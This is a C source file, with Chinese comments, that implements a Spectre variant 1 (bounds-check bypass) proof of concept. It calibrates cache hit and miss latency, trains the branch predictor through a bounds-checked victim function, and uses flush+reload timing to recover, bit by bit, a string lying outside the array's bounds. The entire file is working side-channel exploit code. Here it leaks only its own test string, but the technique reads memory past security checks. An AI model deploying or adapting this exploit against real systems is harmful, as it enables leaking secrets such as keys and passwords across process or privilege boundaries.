

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#include <x86intrin.h>

static inline void clflush(void* addr)
{
    _mm_clflush(addr);
    _mm_mfence();
}

static inline void dsbsy()
{
    _mm_mfence();
}

static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };
long time_fn_avg, time_fn_min, time_fn_max; // 时间计算函数本身所消耗的时间
long time_hit_avg, time_hit_min, time_hit_max; // 缓存命中所消耗的时间
long time_miss_avg, time_miss_min, time_miss_max; // 缓存未命中所消耗的时间

#define CALIBRATE_TIME 100
#define SIZE_CACHE_LINE 512

static uint64_t temp_val = 0;
uint8_t cache_buf[512 * SIZE_CACHE_LINE]; // 每次猜测1个无符号数, 每一个cache line 512byte数据

uint8_t victim_array[160] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
int victim_array_size = 16;

uint8_t bound_page[4096];

uint8_t* msg = "eeehello";

void flush_cache_buf()
{
    for (int i = 0; i < 512; i++) {
        clflush(&cache_buf[i * SIZE_CACHE_LINE]);
    }
    dsbsy();
}

long time_read(uint64_t* addr)
{
    long ns = 0;
    // unsigned long long time1 = __rdtscp(&temp_val); /* READ TIMER */
    // // printf("xxxx: %llu\n", time1);
    // temp_val &= *addr;
    // unsigned long long time2 = __rdtscp(&temp_val); /* READ TIMER */
    // return time2 - time1;

    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_end);
    dsbsy();

    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    return ns;

    // if (time_self_speed < ns)
    //     return ns - time_self_speed;
    // return 0;
}

long calibre_counter()
{
    long ns = 0;
    long max = 0;
    long min = 10000000;
    long count = 0;
    long avg;
    for (int i = 0; i < CALIBRATE_TIME; i++) {
        clock_gettime(CLOCK_MONOTONIC, &time_start);
        dsbsy();
        clock_gettime(CLOCK_MONOTONIC, &time_start);
        dsbsy();
        clock_gettime(CLOCK_MONOTONIC, &time_end);
        // __rdtsc
        ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
        // printf("ns: %ld ns\n", ns);
        count += ns;
        if (max < ns)
            max = ns;
        if (min > ns)
            min = ns;
    }
    avg = count / CALIBRATE_TIME;
    time_fn_avg = avg;
    time_fn_max = max;
    time_fn_min = min;
    printf("  fn latency: avg: %4ld ns, min: %4ld ns, max: %4ld ns\n", avg, min, max);
    return avg;
}

long get_avg(const char* msg, long vals[], int size, long* t_avg, long* t_min, long* t_max)
{
    long sum = 0, max = vals[0], min = 100000000, avg;
    long count = size;
    for (int i = 0; i < size; i++) {
        if (vals[i] <= 0) {
            // 没有获得测量时间,忽略掉
            count--;
            continue;
        }
        // printf("ns: %ld ns\n", vals[i]);
        if ((max * 5) < vals[i]) {
            // 超过这么多倍,那么有可能是任务进行了调度,需要剔除
            count--;
            continue;
        }
        if (max < vals[i])
            max = vals[i];
        if (min > vals[i])
            min = vals[i];
        sum += vals[i];
    }
    avg = sum / count;
    *t_avg = avg;
    *t_min = min;
    *t_max = max;
    printf("%s: avg: %4ld ns, min: %4ld ns, max: %4ld ns\n", msg, avg, min, max);
    return avg;
}

void measure_miss_latency(uint64_t* addr)
{
    long each_ns[CALIBRATE_TIME];
    for (int i = 0; i < CALIBRATE_TIME; i++) {
        clflush(addr);
        each_ns[i] = time_read(addr);
    }
    get_avg("miss latency", each_ns, CALIBRATE_TIME, &time_miss_avg, &time_miss_min, &time_miss_max);
}

void measure_hit_latency(uint64_t* addr)
{
    long each_ns[CALIBRATE_TIME];
    for (int i = 0; i < CALIBRATE_TIME; i++) {
        temp_val &= *addr;
        each_ns[i] = time_read(addr);
    }
    get_avg(" hit latency", each_ns, CALIBRATE_TIME, &time_hit_avg, &time_hit_min, &time_hit_max);
}

int init_measure_latency()
{
    uint64_t tmp;
    for (int i = 0; i < 10; i++) {
        printf("measure latency: \n");

        calibre_counter();
        measure_hit_latency(&cache_buf[512]);
        measure_miss_latency(&cache_buf[512]);

        if (time_miss_min <= time_hit_max) {
            // 测量的cache miss最小时间肯定大于cache hit最大时间,否则不准确
            printf("Warn measure latency miss <= hit: %ld < %ld\n", time_miss_min, time_hit_max);
        } else if (time_fn_avg >= time_hit_avg) {
            // 单纯的fn测量函数时间肯定小于cache hit测量时间, 否则不准确
            printf("Warn time measure inaccurate\n");
        } else {
            return 0;
        }
    }
    // 没有测量出准确的时间,后续无效
    return 1;
}

void victim_function(size_t x, int bit)
{
    // printf("---%c= x: %d, inx: %d, bit: %d =\n", victim_array[x], x, ((victim_array[x] >> bit) & 1), bit);
    if (x < victim_array_size) {
        // printf("iii: %d\n", ((victim_array[x] >> bit) & 1) * 512 + 512);
        temp_val &= cache_buf[((victim_array[x] >> bit) & 1) * SIZE_CACHE_LINE + SIZE_CACHE_LINE]; // 512*8 = 4096
    }
}

uint8_t spec_read_mem_byte(uint8_t* target, int* p_precision)
{
    int precision = 1;
    uint8_t value = 0;
    size_t offset = target - &victim_array[0];
    for (int bit = 7; bit >= 0; bit--) {
        int hit0 = 0;
        int hit1 = 1;

        for (int tries = 0; tries < 30; tries++) {

            for (int round = 6; round >= 0; round--) {
                flush_cache_buf();
                size_t x = (round == 0) * offset;

                // 这一行很关键, 由于在条件中需要使用这个变量, 当这个变量获取速度快于 工具内存访问速度时,预测将失效
                clflush(&victim_array_size);

                victim_function(x, bit);

                temp_val &= cache_buf[SIZE_CACHE_LINE * 4];
                dsbsy();
            }

            long delay_0, delay_1;
            long delay_hit, delay_miss;
            long hit_threhold;

            delay_hit = time_read(&cache_buf[SIZE_CACHE_LINE * 4]);
            delay_miss = time_read(&cache_buf[SIZE_CACHE_LINE * 5]);
            hit_threhold = (delay_miss + delay_hit) / 2;

            // printf("***delay: hit: %d, miss: %d, threhold: %d\n", delay_hit, delay_miss, hit_threhold);
            delay_0 = time_read(&cache_buf[SIZE_CACHE_LINE]);
            delay_1 = time_read(&cache_buf[SIZE_CACHE_LINE * 2]);
            // printf("===bit: %d, cc: %c(%x), delay0: %d, dleay1: %d\n", bit, victim_array[offset], victim_array[offset], delay_0, delay_1);

            if (delay_0 < hit_threhold && delay_1 > hit_threhold) {
                hit0++;
            } else if (delay_1 < hit_threhold && delay_0 > hit_threhold) {
                hit1++;
            }
        }

        // printf("bit: %d, cc: %c, delay0: %d, dleay1: %d\n", bit, victim_array[offset], delay_0, delay_1);
        // break;

        value = value << 1;
        if (hit0 > hit1 * 2) {

        } else if (hit1 > hit0 * 2) {
            value |= 1;
        } else {
            precision = 0;
            if (hit1 > hit0) {
                value |= 1;
            }
        }
    }
    *p_precision = precision;
    return value;
}

void spec_read()
{
    const char* str = msg;
    while (*str) {
        int precision = 0;
        uint8_t value;
        value = spec_read_mem_byte(str, &precision);
        printf("got %c, expect(%c), precision: %d\n", value, *str, precision);
        str++;
    }
}

int main(int argc, char const* argv[])
{
    flush_cache_buf(); // 准备缓存, 其实可以不需要, 有的话效果可能更好

    if (init_measure_latency()) {
        printf("Error measure latency, exit\n");
        return 1;
    }

    printf("*************\n");
    spec_read();

    return 0;
}
